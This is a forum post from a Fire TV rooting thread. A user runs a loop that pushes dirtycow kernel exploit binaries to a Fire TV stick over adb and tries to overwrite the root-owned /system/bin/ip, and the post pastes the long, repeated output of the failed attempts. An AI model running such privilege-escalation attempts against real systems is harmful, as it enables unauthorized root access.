[Fire TV General] mitchie_moe:
yes sure, but the filesize already tells me: nothing has changed.

i just run all of the bin's on the AFTV stick, using a loop.

no success...

find -name dirtycow | grep arme | while read file; do adb push $file /data/local/tmp; adb shell 'ls -l /system/bin/ip'; adb shell '/data/local/tmp/dirtycow /system/bin/ip /data/local/tmp/ip_script'; adb shell 'ls -l /system/bin/ip'; done;
248 KB/s (13784 bytes in 0.054s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40302000
[ * ] exploit (patch)
[ * ] currently 0x40302000=464c457f
[ * ] madvise = 0x40302000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40302000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
255 KB/s (13776 bytes in 0.052s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402eb000
[ * ] exploit (patch)
[ * ] currently 0x402eb000=464c457f
[ * ] madvise = 0x402eb000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402eb000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
228 KB/s (13784 bytes in 0.058s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402b3000
[ * ] exploit (patch)
[ * ] currently 0x402b3000=464c457f
[ * ] madvise = 0x402b3000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402b3000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
244 KB/s (13784 bytes in 0.055s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x403b3000
[ * ] exploit (patch)
[ * ] currently 0x403b3000=464c457f
[ * ] madvise = 0x403b3000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x403b3000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
249 KB/s (13776 bytes in 0.054s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40278000
[ * ] exploit (patch)
[ * ] currently 0x40278000=464c457f
[ * ] madvise = 0x40278000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40278000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
219 KB/s (13784 bytes in 0.061s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402cb000
[ * ] exploit (patch)
[ * ] currently 0x402cb000=464c457f
[ * ] madvise = 0x402cb000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402cb000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
639 KB/s (13784 bytes in 0.021s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40301000
[ * ] exploit (patch)
[ * ] currently 0x40301000=464c457f
[ * ] madvise = 0x40301000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40301000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
227 KB/s (13784 bytes in 0.059s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40264000
[ * ] exploit (patch)
[ * ] currently 0x40264000=464c457f
[ * ] madvise = 0x40264000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40264000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
202 KB/s (13784 bytes in 0.066s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40291000
[ * ] exploit (patch)
[ * ] currently 0x40291000=464c457f
[ * ] madvise = 0x40291000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40291000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
238 KB/s (13784 bytes in 0.056s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402c2000
[ * ] exploit (patch)
[ * ] currently 0x402c2000=464c457f
[ * ] madvise = 0x402c2000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402c2000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
207 KB/s (13776 bytes in 0.064s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x608
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402cb000
[ * ] exploit (patch)
[ * ] currently 0x402cb000=464c457f
[ * ] madvise = 0x402cb000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402cb000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
255 KB/s (13784 bytes in 0.052s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x608
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40303000
[ * ] exploit (patch)
[ * ] currently 0x40303000=464c457f
[ * ] madvise = 0x40303000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40303000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
234 KB/s (13776 bytes in 0.057s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x4041a000
[ * ] exploit (patch)
[ * ] currently 0x4041a000=464c457f
[ * ] madvise = 0x4041a000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x4041a000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
239 KB/s (13784 bytes in 0.056s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402a6000
[ * ] exploit (patch)
[ * ] currently 0x402a6000=464c457f
[ * ] madvise = 0x402a6000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402a6000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
207 KB/s (13784 bytes in 0.064s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x40357000
[ * ] exploit (patch)
[ * ] currently 0x40357000=464c457f
[ * ] madvise = 0x40357000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x40357000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
237 KB/s (13784 bytes in 0.056s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x402e9000
[ * ] exploit (patch)
[ * ] currently 0x402e9000=464c457f
[ * ] madvise = 0x402e9000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x402e9000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
178 KB/s (13784 bytes in 0.075s)
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/dirtycow: unused DT entry: type 0x6fffffff arg 0x1
warning: new file size (135) and file old size (165484) differ

size 165484

[ * ] mmap 0x4035c000
[ * ] exploit (patch)
[ * ] currently 0x4035c000=464c457f
[ * ] madvise = 0x4035c000 165484
[ * ] /proc/self/mem -1048576 1048576
[ * ] madvise = 0 1048576
[ * ] exploited 0x4035c000=464c457f
-rwxr-xr-x root shell 165484 2016-08-06 01:28 ip

---------- Post added at 05:35 PM ---------- Previous post was at 05:31 PM ----------

are you sure? is there an other way to confirm it? because the cat command would skrew my loop...